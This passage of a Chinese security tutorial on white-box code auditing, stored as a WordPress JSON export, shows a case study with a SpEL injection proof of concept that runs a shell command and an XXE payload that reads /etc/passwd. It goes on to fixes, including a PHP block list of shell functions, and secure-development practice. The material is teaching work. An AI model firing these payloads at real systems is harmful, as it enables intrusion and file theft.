-&gt; \u83b7\u53d6\u670d\u52a1\u5668\u6743\u9650<\/p>\n<p>PoC&#xff1a;<br \/>\n\u00a0 \u00a0 POST \/admin\/template\/preview<br \/>\n\u00a0 \u00a0 Content-Type: application\/json<\/p>\n<p>\u00a0 \u00a0 {&#034;content&#034;: &#034;T(java.lang.Runtime).getRuntime().exec(new String[]{\\\\&#034;bash\\\\&#034;,\\\\&#034;-c\\\\&#034;,\\\\&#034;id\\\\&#034;})&#034;}<br \/>\n&#096;&#096;&#096;<\/p>\n<h3>7.6 \u7b2c\u4e94\u6b65&#xff1a;\u53d1\u73b0\u7b2c\u4e8c\u4e2a\u6f0f\u6d1e&#xff08;XXE&#xff09;<\/h3>\n<p>\u7ee7\u7eed\u5ba1\u8ba1 XmlUtil \u5de5\u5177\u7c7b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\n\/\/ XmlUtil.java<br \/>\npublic class XmlUtil {<br \/>\n\u00a0 \u00a0 public static Document parse(String xml) throws Exception {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 DocumentBuilderFactory factory &#061; DocumentBuilderFactory.newInstance();<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011\u672a\u7981\u7528\u5916\u90e8\u5b9e\u4f53<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 DocumentBuilder builder &#061; factory.newDocumentBuilder();<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 return builder.parse(new InputSource(new StringReader(xml)));<br \/>\n\u00a0 \u00a0 }<br \/>\n}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u641c\u7d22 XmlUtil.parse \u7684\u8c03\u7528\u65b9&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\n\/\/ ArticleController.java<br \/>\n&#064;PostMapping(&#034;\/import&#034;)<br \/>\npublic String importArticle(&#064;RequestBody String xml) throws Exception {<br \/>\n\u00a0 \u00a0 Document doc &#061; XmlUtil.parse(xml);<br \/>\n\u00a0 \u00a0 \/\/ \u89e3\u6790 XML \u5bfc\u5165\u6587\u7ae0<br \/>\n\u00a0 \u00a0 return &#034;\u5bfc\u5165\u6210\u529f&#034;;<br \/>\n}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u6f0f\u6d1e\u94fe&#xff1a;\u672a\u6388\u6743\u8bbf\u95ee &#043; XXE \u6587\u4ef6\u8bfb\u53d6<\/p>\n<p>&#096;&#096;&#096;<br \/>\nPOST \/import<br \/>\nContent-Type: application\/xml<\/p>\n<p>&lt;?xml version&#061;&#034;1.0&#034;?&gt;<br \/>\n&lt;!DOCTYPE foo [&lt;!ENTITY xxe SYSTEM &#034;file:\/\/\/etc\/passwd&#034;&gt;]&gt;<br \/>\n&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<h3>7.7 \u5ba1\u8ba1\u62a5\u544a\u8f93\u51fa<\/h3>\n<p>| \u7f16\u53f7 | \u6f0f\u6d1e\u540d\u79f0 \u00a0 \u00a0 \u00a0 | \u4e25\u91cd\u7a0b\u5ea6 | \u4f4d\u7f6e \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u7c7b\u578b \u00a0 \u00a0 |<br \/>\n|&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;-|<br \/>\n| V-01 | SpEL \u6ce8\u5165 \u00a0 \u00a0 | \u4e25\u91cd \u00a0 \u00a0 | SpelUtil.eval \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u767d\u76d2\u786e\u8ba4 |<br \/>\n| V-02 | \u6743\u9650\u7ed5\u8fc7 \u00a0 \u00a0 \u00a0| \u9ad8\u5371 \u00a0 \u00a0 | SecurityConfig.configure \u00a0 \u00a0 \u00a0| \u767d\u76d2\u786e\u8ba4 |<br \/>\n| V-03 | XXE \u6ce8\u5165 \u00a0 \u00a0 \u00a0| \u9ad8\u5371 \u00a0 \u00a0 | XmlUtil.parse \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u767d\u76d2\u786e\u8ba4 |<br \/>\n| V-04 | Log4Shell \u00a0 \u00a0 | \u4e25\u91cd \u00a0 \u00a0 | pom.xml (log4j 2.14.0) \u00a0 \u00a0 \u00a0 \u00a0| \u4f9d\u8d56\u626b\u63cf |<br \/>\n| V-05 | Fastjson RCE \u00a0| \u4e25\u91cd \u00a0 \u00a0 | pom.xml (fastjson 1.2.47) \u00a0 \u00a0 | \u4f9d\u8d56\u626b\u63cf |<\/p>\n<h2>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n\u516b\u3001\u4ee3\u7801\u5b89\u5168\u4fee\u590d\u5efa\u8bae<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/h2>\n<h3>8.1 \u901a\u7528\u5b89\u5168\u7f16\u7801\u539f\u5219<\/h3>\n<p>&#096;&#096;&#096;<br \/>\n1. \u6c38\u4e0d\u4fe1\u4efb\u7528\u6237\u8f93\u5165&#xff08;Never Trust User Input&#xff09;<br \/>\n\u00a0 \u00a0&#8211; \u6240\u6709\u5916\u90e8\u8f93\u5165\u5747\u9700\u6821\u9a8c\u3001\u8fc7\u6ee4\u3001\u8f6c\u4e49<br \/>\n\u00a0 \u00a0&#8211; \u91c7\u7528&#034;\u767d\u540d\u5355\u4f18\u5148&#034;\u7b56\u7565&#xff0c;\u62d2\u7edd\u4e00\u5207\u975e\u9884\u671f\u8f93\u5165<\/p>\n<p>2. \u7eb5\u6df1\u9632\u5fa1&#xff08;Defense in Depth&#xff09;<br \/>\n\u00a0 \u00a0&#8211; \u4e0d\u4f9d\u8d56\u5355\u4e00\u9632\u7ebf&#xff0c;\u8f93\u5165\u6821\u9a8c &#043; \u8f93\u51fa\u7f16\u7801 &#043; \u6743\u9650\u63a7\u5236\u591a\u5c42\u53e0\u52a0<br \/>\n\u00a0 \u00a0&#8211; \u5373\u4f7f\u67d0\u5c42\u88ab\u7ed5\u8fc7&#xff0c;\u5176\u4ed6\u5c42\u4ecd\u80fd\u63d0\u4f9b\u4fdd\u62a4<\/p>\n<p>3. \u6700\u5c0f\u6743\u9650\u539f\u5219&#xff08;Least Privilege&#xff09;<br \/>\n\u00a0 \u00a0&#8211; \u5e94\u7528\u4ee5\u6700\u4f4e\u5fc5\u8981\u6743\u9650\u8fd0\u884c&#xff0c;\u907f\u514d root \/ Administrator<br \/>\n\u00a0 \u00a0&#8211; \u6570\u636e\u5e93\u8d26\u6237\u4ec5\u6388\u4e88\u5fc5\u8981\u8868\u7684\u5fc5\u8981\u6743\u9650<\/p>\n<p>4. \u5b89\u5168\u9ed8\u8ba4&#xff08;Secure by Default&#xff09;<br \/>\n\u00a0 \u00a0&#8211; \u9ed8\u8ba4\u914d\u7f6e\u5e94\u662f\u5b89\u5168\u7684&#xff0c;\u4e0d\u5b89\u5168\u9009\u9879\u9700\u663e\u5f0f\u5f00\u542f<br \/>\n\u00a0 \u00a0&#8211; \u5982 XML \u89e3\u6790\u9ed8\u8ba4\u7981\u7528\u5916\u90e8\u5b9e\u4f53<br \/>\n&#096;&#096;&#096;<\/p>\n<h3>8.2 \u5404\u8bed\u8a00\u9488\u5bf9\u6027\u4fee\u590d\u5efa\u8bae<\/h3>\n<p>Java \u4fee\u590d\u8981\u70b9&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\n\/\/ 1. SpEL&#xff1a;\u4f7f\u7528\u5b89\u5168\u4e0a\u4e0b\u6587<br \/>\nSimpleEvaluationContext.forReadOnlyDataBinding().build();<\/p>\n<p>\/\/ 2. JNDI&#xff1a;\u767d\u540d\u5355\u6821\u9a8c &#043; \u5347\u7ea7 JDK<br \/>\n-Dcom.sun.jndi.ldap.object.trustURLCodebase&#061;false<\/p>\n<p>\/\/ 3. XXE&#xff1a;\u7edf\u4e00\u5c01\u88c5\u5b89\u5168 XML \u89e3\u6790\u5de5\u5382<br \/>\nfactory.setFeature(&#034;http:\/\/apache.org\/xml\/features\/disallow-doctype-decl&#034;, true);<\/p>\n<p>\/\/ 4. \u6a21\u677f&#xff1a;\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6570\u636e\u800c\u975e\u6a21\u677f<br \/>\nrender_template_string(&#039;&lt;p&gt;{{name}}&lt;\/p&gt;&#039;, name&#061;userInput);<\/p>\n<p>\/\/ 5. \u4f9d\u8d56&#xff1a;\u5b9a\u671f\u626b\u63cf pom.xml&#xff0c;\u4f7f\u7528 Dependency-Check \/ Snyk<br \/>\n&#096;&#096;&#096;<\/p>\n<p>PHP \u4fee\u590d\u8981\u70b9&#xff1a;<\/p>\n<p>&#096;&#096;&#096;php<br \/>\n\/\/ 1. \u7981\u7528\u5371\u9669\u51fd\u6570&#xff08;php.ini&#xff09;<br \/>\ndisable_functions &#061; eval,exec,system,passthru,shell_exec<\/p>\n<p>\/\/ 2. extract \u4f7f\u7528 EXTR_SKIP<br \/>\nextract($data, EXTR_SKIP);<\/p>\n<p>\/\/ 3. \u8def\u5f84\u6821\u9a8c\u7528 realpath<br \/>\n$real &#061; realpath($path);<br \/>\nif (strpos($real, $baseDir) !&#061;&#061; 0) die(&#039;\u975e\u6cd5\u8def\u5f84&#039;);<\/p>\n<p>\/\/ 4. \u6587\u4ef6\u5305\u542b\u7528\u767d\u540d\u5355<br \/>\nif (!in_array($page, $allowed, true)) $page &#061; &#039;default&#039;;<\/p>\n<p>\/\/ 5. \u53c2\u6570\u5316\u67e5\u8be2&#xff08;\u5982\u4f7f\u7528 PDO&#xff09;<br \/>\n$stmt &#061; $pdo-&gt;prepare(&#039;SELECT * FROM users WHERE id &#061; ?&#039;);<br \/>\n$stmt-&gt;execute([$id]);<br \/>\n&#096;&#096;&#096;<\/p>\n<p>Python \u4fee\u590d\u8981\u70b9&#xff1a;<\/p>\n<p>&#096;&#096;&#096;python<br \/>\n# 1. \u7981\u7528 pickle \u53cd\u5e8f\u5217\u5316\u7528\u6237\u6570\u636e&#xff0c;\u6539\u7528 json<br \/>\njson.loads(data)<\/p>\n<p># 2. Jinja2 \u7528 SandboxedEnvironment<br \/>\nfrom jinja2.sandbox import SandboxedEnvironment<\/p>\n<p># 3. subprocess \u7528\u5217\u8868\u53c2\u6570&#xff0c;\u907f\u514d shell&#061;True<br \/>\nsubprocess.run([&#039;ls&#039;, &#039;-la&#039;], shell&#061;False) \u00a0# \u4e0d\u8981 shell&#061;True<\/p>\n<p># 4. PyYAML \u7528 safe_load<br \/>\nyaml.safe_load(data)<\/p>\n<p># 5. \u4e0d\u4f9d\u8d56\u6c99\u7bb1&#xff0c;\u7528\u5bb9\u5668\u9694\u79bb\u4e0d\u53ef\u4fe1\u4ee3\u7801<br \/>\n&#096;&#096;&#096;<\/p>\n<h3>8.3 \u5b89\u5168\u5f00\u53d1\u751f\u547d\u5468\u671f&#xff08;SDLC&#xff09;\u878d\u5165<\/h3>\n<p>| \u9636\u6bb5 \u00a0 \u00a0 \u00a0 \u00a0 | \u5b89\u5168\u6d3b\u52a8 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u5de5\u5177 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n|&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|<br \/>\n| \u9700\u6c42\u8bbe\u8ba1 \u00a0 \u00a0 | \u5a01\u80c1\u5efa\u6a21&#xff08;STRIDE&#xff09; \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| Threat Modeling Tool |<br \/>\n| \u7f16\u7801\u5f00\u53d1 \u00a0 \u00a0 | \u5b89\u5168\u7f16\u7801\u89c4\u8303 &#043; IDE \u5b9e\u65f6\u626b\u63cf \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | Semgrep IDE \u63d2\u4ef6 \u00a0 \u00a0 |<br \/>\n| \u4ee3\u7801\u63d0\u4ea4 \u00a0 \u00a0 | Pre-commit \u94a9\u5b50\u626b\u63cf \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | Semgrep \/ Git Hooks \u00a0|<br \/>\n| CI\/CD \u6784\u5efa \u00a0 | SAST \u626b\u63cf &#043; \u4f9d\u8d56\u68c0\u67e5 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| CodeQL \/ Dependency-Check |<br \/>\n| \u6d4b\u8bd5\u9636\u6bb5 \u00a0 \u00a0 | DAST \u626b\u63cf &#043; \u4eba\u5de5\u6e17\u900f\u6d4b\u8bd5 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| ZAP \/ Burp Suite \u00a0 \u00a0 |<br \/>\n| \u4e0a\u7ebf\u53d1\u5e03 \u00a0 \u00a0 | \u5b89\u5168\u8bc4\u5ba1 &#043; \u6f0f\u6d1e\u4fee\u590d\u786e\u8ba4 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u5b89\u5168\u95e8\u7981 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<br \/>\n| \u8fd0\u7ef4\u8fd0\u8425 \u00a0 \u00a0 | \u76d1\u63a7\u544a\u8b66 &#043; \u5b9a\u671f\u590d\u6d4b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | WAF \/ SIEM \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |<\/p>\n<h2>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n\u4e5d\u3001\u603b\u7ed3<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/h2>\n<p>\u4ee3\u7801\u5ba1\u8ba1\u662f\u4e00\u9879\u9700\u8981\u8010\u5fc3\u3001\u7ecf\u9a8c\u4e0e\u7cfb\u7edf\u6027\u601d\u7ef4\u7684\u5de5\u4f5c\u3002\u672c\u6587\u4ece\u65b9\u6cd5\u8bba\u3001\u5de5\u5177\u3001<br \/>\n\u4e09\u5927\u8bed\u8a00\u5b9e\u6218\u3001\u81ea\u52a8\u5316\u3001\u5b8c\u6574\u6848\u4f8b\u4e94\u4e2a\u7ef4\u5ea6&#xff0c;\u7cfb\u7edf\u68b3\u7406\u4e86\u4ee3\u7801\u5ba1\u8ba1\u7684\u6838\u5fc3\u77e5\u8bc6\u3002<\/p>\n<p>\u6838\u5fc3\u8981\u70b9\u56de\u987e&#xff1a;<\/p>\n<p>1. \u65b9\u6cd5\u8bba\u662f\u6839\u57fa<br \/>\n\u00a0 \u00a0&#8211; &#034;\u81ea\u5e95\u5411\u4e0a &#043; \u81ea\u9876\u5411\u4e0b&#034;\u7ed3\u5408&#xff0c;\u5148\u641c Sink \u518d\u56de\u6eaf Source<br \/>\n\u00a0 \u00a0&#8211; \u5de5\u5177\u521d\u7b5b &#043; \u4eba\u5de5\u590d\u6838&#xff0c;\u6548\u7387\u4e0e\u51c6\u786e\u6027\u517c\u987e<\/p>\n<p>2. \u5de5\u5177\u662f\u52a9\u529b\u800c\u975e\u4f9d\u8d56<br \/>\n\u00a0 \u00a0&#8211; Semgrep \u5feb\u901f\u626b\u63cf\u3001CodeQL \u6df1\u5ea6\u5206\u6790\u3001IDE \u624b\u5de5\u5ba1\u8ba1\u4e09\u4f4d\u4e00\u4f53<br \/>\n\u00a0 \u00a0&#8211; \u6ca1\u6709\u94f6\u5f39&#xff0c;\u6bcf\u4e2a\u5de5\u5177\u90fd\u6709\u76f2\u533a<\/p>\n<p>3. \u6570\u636e\u6d41\u8ffd\u8e2a\u662f\u6838\u5fc3\u6280\u80fd<br \/>\n\u00a0 \u00a0&#8211; \u7262\u8bb0 Source&#xff08;\u8f93\u5165\u70b9&#xff09;-&gt; \u51c0\u5316 -&gt; Sink&#xff08;\u5371\u9669\u51fd\u6570&#xff09;\u6a21\u578b<br \/>\n\u00a0 \u00a0&#8211; \u91cd\u70b9\u5ba1\u67e5&#034;\u51c0\u5316\u51fd\u6570&#034;\u662f\u5426\u53ef\u88ab\u7ed5\u8fc7<\/p>\n<p>4. \u6f0f\u6d1e\u94fe\u6784\u9020\u51b3\u5b9a\u5371\u5bb3\u7b49\u7ea7<br \/>\n\u00a0 \u00a0&#8211; \u5355\u4e2a\u4f4e\u5371\u6f0f\u6d1e\u7ec4\u5408\u540e\u53ef\u80fd\u6210\u4e3a\u81f4\u547d\u5229\u7528\u94fe<br \/>\n\u00a0 \u00a0&#8211; \u6743\u9650\u7ed5\u8fc7 &#043; \u6ce8\u5165\u7c7b\u6f0f\u6d1e\u662f\u6700\u5e38\u89c1\u7684\u7ec4\u5408\u6a21\u5f0f<\/p>\n<p>5. \u5b89\u5168\u5de6\u79fb\u662f\u8d8b\u52bf<br \/>\n\u00a0 \u00a0&#8211; \u5728\u5f00\u53d1\u9636\u6bb5\u6d88\u9664\u6f0f\u6d1e\u6210\u672c\u6700\u4f4e<br \/>\n\u00a0 \u00a0&#8211; \u5c06\u5ba1\u8ba1\u5de5\u5177\u878d\u5165 CI\/CD&#xff0c;\u5b9e\u73b0\u6301\u7eed\u5b89\u5168<\/p>\n<p>\u8fdb\u9636\u5b66\u4e60\u8def\u5f84\u5efa\u8bae&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n\u5165\u95e8&#xff1a;\u638c\u63e1\u4e00\u95e8\u8bed\u8a00\u57fa\u7840 &#043; \u9605\u8bfb OWASP Top 10<br \/>\n\u00a0 \u00a0 \u00a0 -&gt; \u4f7f\u7528 Semgrep \u626b\u63cf\u5f00\u6e90\u9879\u76ee&#xff0c;\u7406\u89e3\u6f0f\u6d1e\u6a21\u5f0f<\/p>\n<p>\u8fdb\u9636&#xff1a;\u5b66\u4e60 CodeQL&#xff0c;\u7f16\u5199\u81ea\u5b9a\u4e49\u6c61\u70b9\u8ffd\u8e2a\u67e5\u8be2<br \/>\n\u00a0 \u00a0 \u00a0 -&gt; \u5ba1\u8ba1 2-3 \u4e2a\u5f00\u6e90 CMS&#xff0c;\u79ef\u7d2f\u5b9e\u6218\u7ecf\u9a8c<\/p>\n<p>\u9ad8\u7ea7&#xff1a;\u7814\u7a76 CVE \u6f0f\u6d1e\u5206\u6790&#xff0c;\u590d\u73b0\u6f0f\u6d1e\u94fe<br \/>\n\u00a0 \u00a0 \u00a0 -&gt; \u5173\u6ce8\u7ec4\u4ef6\u7ea7\u6f0f\u6d1e&#xff08;Fastjson\u3001Log4j\u3001Shiro&#xff09;<br \/>\n\u00a0 \u00a0 \u00a0 -&gt; \u53c2\u4e0e\u6f0f\u6d1e\u8d4f\u91d1\u8ba1\u5212&#xff0c;\u5b9e\u6218\u68c0\u9a8c\u80fd\u529b<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u3010\u63d0\u793a\u3011\u4ee3\u7801\u5ba1\u8ba1\u80fd\u529b\u7684\u63d0\u5347\u6ca1\u6709\u6377\u5f84&#xff0c;\u5173\u952e\u5728\u4e8e&#034;\u591a\u8bfb\u3001\u591a\u5ba1\u3001\u591a\u590d\u76d8&#034;\u3002<br \/>\n\u5efa\u8bae\u4ece\u5ba1\u8ba1\u4e2d\u5c0f\u578b\u5f00\u6e90\u9879\u76ee\u5165\u624b&#xff08;\u5982 Java \u7684\u67d0\u4e2a\u5c0f\u578b CMS&#xff09;&#xff0c;\u9010\u6b65\u79ef\u7d2f<br \/>\n\u5bf9\u5404\u7c7b\u6f0f\u6d1e\u6a21\u5f0f\u7684\u654f\u611f\u5ea6&#xff0c;\u6700\u7ec8\u5f62\u6210\u81ea\u5df1\u7684\u5ba1\u8ba1\u65b9\u6cd5\u8bba\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00\u5728\u7532\u65b9\u5b89\u5168\u5efa\u8bbe\u4e0e\u7ea2\u961f\u6e17\u900f\u4e2d&#xff0c;\u4ee3\u7801\u5ba1\u8ba1&#xff08;Code Audit \/ White-box Testing&#xff09;<br \/>\n\u662f\u4e00\u9879\u6838\u5fc3\u80fd\u529b\u3002\u76f8\u6bd4\u4e8e\u9ed1\u76d2\u626b\u63cf\\&#8221;\u649e\u8fd0\u6c14\\&#8221;\u5f0f\u7684\u6f0f\u6d1e\u53d1\u73b0&#xff0c;\u4ee3\u7801\u5ba1\u8ba1\u80fd\u591f\u4ece<br \/>\n\u6e90\u5934\u5b9a\u4f4d\u7f3a\u9677&#xff0c;\u7406\u89e3\u4e1a\u52a1\u903b\u8f91&#xff0c;\u6316\u6398\u51fa\u9ed1\u76d2\u96be\u4ee5\u89e6\u8fbe\u7684\u9ad8\u5371\u903b\u8f91\u6f0f\u6d1e\u4e0e\u7ec4\u5408\u94fe\u3002\u672c\u6587\u5c06\u4ece\u65b9\u6cd5\u8bba\u51fa\u53d1&#xff0c;\u7cfb\u7edf\u8bb2\u89e3\u767d\u76d2\u5ba1\u8ba1\u7684\u601d\u8def&#xff0c;\u5bf9\u6bd4\u516d\u5927\u4e3b\u6d41\u5ba1\u8ba1\u5de5\u5177&#xff0c;\u5e76<br \/>\n\u5206\u522b\u7ed9\u51fa Java\u3001PHP\u3001Pytho<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[81,275,61,823,122],"topic":[],"class_list":["post-93089","post","type-post","status-publish","format-standard","hentry","category-server","tag-python","tag-web","tag-61","tag-823","tag-122"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/93089.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u524d\u8a00\u5728\u7532\u65b9\u5b89\u5168\u5efa\u8bbe\u4e0e\u7ea2\u961f\u6e17\u900f\u4e2d&#xff0c;\u4ee3\u7801\u5ba1\u8ba1&#xff08;Code Audit \/ White-box Testing&#xff09; \u662f\u4e00\u9879\u6838\u5fc3\u80fd\u529b\u3002\u76f8\u6bd4\u4e8e\u9ed1\u76d2\u626b\u63cf&quot;\u649e\u8fd0\u6c14&quot;\u5f0f\u7684\u6f0f\u6d1e\u53d1\u73b0&#xff0c;\u4ee3\u7801\u5ba1\u8ba1\u80fd\u591f\u4ece \u6e90\u5934\u5b9a\u4f4d\u7f3a\u9677&#xff0c;\u7406\u89e3\u4e1a\u52a1\u903b\u8f91&#xff0c;\u6316\u6398\u51fa\u9ed1\u76d2\u96be\u4ee5\u89e6\u8fbe\u7684\u9ad8\u5371\u903b\u8f91\u6f0f\u6d1e\u4e0e\u7ec4\u5408\u94fe\u3002\u672c\u6587\u5c06\u4ece\u65b9\u6cd5\u8bba\u51fa\u53d1&#xff0c;\u7cfb\u7edf\u8bb2\u89e3\u767d\u76d2\u5ba1\u8ba1\u7684\u601d\u8def&#xff0c;\u5bf9\u6bd4\u516d\u5927\u4e3b\u6d41\u5ba1\u8ba1\u5de5\u5177&#xff0c;\u5e76 \u5206\u522b\u7ed9\u51fa Java\u3001PHP\u3001Pytho\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/93089.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-08-11T14:00:45+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"19 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/93089.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/93089.html\",\"name\":\"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-08-11T14:00:45+00:00\",\"dateModified\":\"2026-08-11T14:00:45+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/93089.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/93089.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/93089.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218\u6307\u5357\uff1a\u4ece\u767d\u76d2\u5206\u6790\u5230\u6f0f\u6d1e\u6316\u6398\uff08\u9644 Java\/PHP\/Python \u5b9e\u6218\u6848\u4f8b\uff09\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required 